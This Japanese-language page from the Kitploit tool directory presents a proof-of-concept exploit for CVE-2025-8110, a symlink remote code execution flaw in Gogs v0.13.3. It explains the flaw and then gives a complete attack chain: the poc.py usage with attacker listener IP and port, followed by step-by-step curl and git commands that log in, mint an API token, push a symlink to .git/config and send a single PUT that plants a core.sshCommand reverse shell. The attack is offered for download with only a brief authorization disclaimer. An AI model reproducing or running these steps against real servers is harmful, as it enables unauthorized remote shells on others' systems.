Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-8110-PoC — Gogs の symlink RCE (CVE-2025-8110) に対するワンショットエクスプロイト。UpdateRepoFile への単一の PUT リクエストでリバースシェルをトリガーします。 | Kitploit
ツール/GitHubGitHub/mananispiwpiw/cve-2025-8110-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミングリモートアクセスツール
GitHubmananispiwpiw/cve-2025-8110-poc

CVE-2025-8110-PoC

Gogs の symlink RCE (CVE-2025-8110) に対するワンショットエクスプロイト。UpdateRepoFile への単一の PUT リクエストでリバースシェルをトリガーします。

リポジトリを見る
13ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-8110 PoC

CVE-2025-8110 向けの Python 概念実証スクリプト — Gogs v0.13.3 の UpdateRepoFile シンボリックリンク RCE。シングルショット: 悪意のある PUT 自体が git fetch → sshCommand → リバースシェルをトリガーします。

⚠️ 教育目的および許可を得たセキュリティ研究のみを対象としています。 このツールを、所有していない、または書面によるテスト許可がないシステムに対して実行することは違法です。

詳細

  • CVE-2025-8110 の PoC
  • 影響を受けるバージョン: Gogs v0.13.3
  • 修正済みバージョン: Gogs v0.13.4
  • 参考: https://github.com/gogs/gogs/security/advisories/GHSA-2f2w-5pm3-26wp

脆弱な動作

internal/db/repo_editor.go の UpdateRepoFile ハンドラーは、ファイル内容を書き込むために os.WriteFile を呼び出しますが、シンボリックリンクをチェックせずに追跡します。さらに、過去のシンボリックリンクコミットが 内にまで到達するという事実と組み合わせると、攻撃者は以下を実行できます。

.git/
  1. シンボリックリンク x → .git/config をベアリポジトリにプッシュする
  2. リバースシェルコマンドを設定した core.sshCommand を含む悪意のある .git/config を指定して PUT /api/v1/repos/{owner}/{repo}/contents/x を呼び出す
  3. 同じ PUT リクエスト が設定を書き込み、かつ git fetch origin(CreateOrUpdateRepoFile → UpdateLocalCopyBranch 経由)をトリガーし、変更された設定を読み取って sshCommand を実行する — 一発でリバースシェルを起動します。

ファイル

  • poc.py: ターゲット、ユーザー名、パスワード、LHOST、LPORT をプロンプトで受け取ります。ログインし、API トークンを作成し、リポジトリを作成し、シンボリックリンクをプッシュし、API 経由で .git/config を上書きします — 単一の PUT リクエスト自体がリバースシェルをトリガーします。

使用法

実行:

root@kitploit:~
python3 poc.py --target https://gogs.example.com --username admin --password admin123 --lhost 10.10.14.206 --lport 9001

引数

引数必須説明
--target / -tはいGogs ターゲットのホスト名または URL
--usernameはい既存の Gogs ユーザー名
--passwordはい既存の Gogs パスワード
--lhostはいリバースシェル用のリスナー IP
--lportはいリスナーポート

仕組み

  1. ログイン — 提供された認証情報で Gogs Web インターフェースにログインします
  2. トークン — /user/settings/applications 経由で個人用 API トークンを作成します
  3. リポジトリ — Gogs API 経由で新しい空のリポジトリを作成します
  4. シンボリックリンクのプッシュ — リポジトリをクローンし、シンボリックリンク x → .git/config を作成してコミットし、プッシュします
  5. 上書きとトリガー(シングルショット) — 悪意のある git 設定(core.sshCommand と SSH リモート URL を含む)を指定して PUT /api/v1/repos/{owner}/{repo}/contents/x を送信します。Gogs の CreateOrUpdateRepoFile は内部で UpdateLocalCopyBranch → git fetch origin を呼び出し、改ざんされた設定を読み取って sshCommand を実行します — 1 回のリクエストでリバースシェルを起動します。

同等の curl コマンド

ログインと CSRF の取得

root@kitploit:~
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/login
# Extract _csrf from response
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/login \
  -d '_csrf=<csrf>&user_name=<user>&password=<pass>'

API トークンの作成

root@kitploit:~
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/settings/applications
# Extract _csrf
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/settings/applications \
  -d '_csrf=<csrf>&name=poc-token'

リポジトリの作成

root@kitploit:~
curl -X POST http://target/api/v1/user/repos \
  -H "Authorization: token <token>" \
  -H "Content-Type: application/json" \
  -d '{"name":"poc-repo"}'

シンボリックリンクのプッシュ

root@kitploit:~
git clone http://<user>:<token>@target/<user>/poc-repo.git
cd poc-repo
ln -s .git/config x
git add x
git commit -m "add symlink"
git push origin master

上書きとトリガー(単一 PUT — タイムアウト想定、シェルが接続してきます)

root@kitploit:~
curl -X PUT http://target/api/v1/repos/<user>/poc-repo/contents/x \
  -H "Authorization: token <token>" \
  -H "Content-Type: application/json" \
  --max-time 10 \
  -d '{"message":"x","content":"<base64 of malicious git config>"}'

PUT リクエスト自体が git fetch origin をトリガーし、改ざんされた .git/config を読み取ってリバースシェルを実行します。2 回目のリクエストは必要ありません。

なぜ --max-time 10 なのか? サーバーは、git が書き込みを処理してフェッチをトリガーする間、約 10 秒間ハングする可能性があります。--max-time 10 を使用すると、curl がシェルの接続を受信できる十分な時間接続を維持します。これがないと、シェルが起動する前に接続が切断される可能性があります。

ツールをダウンロード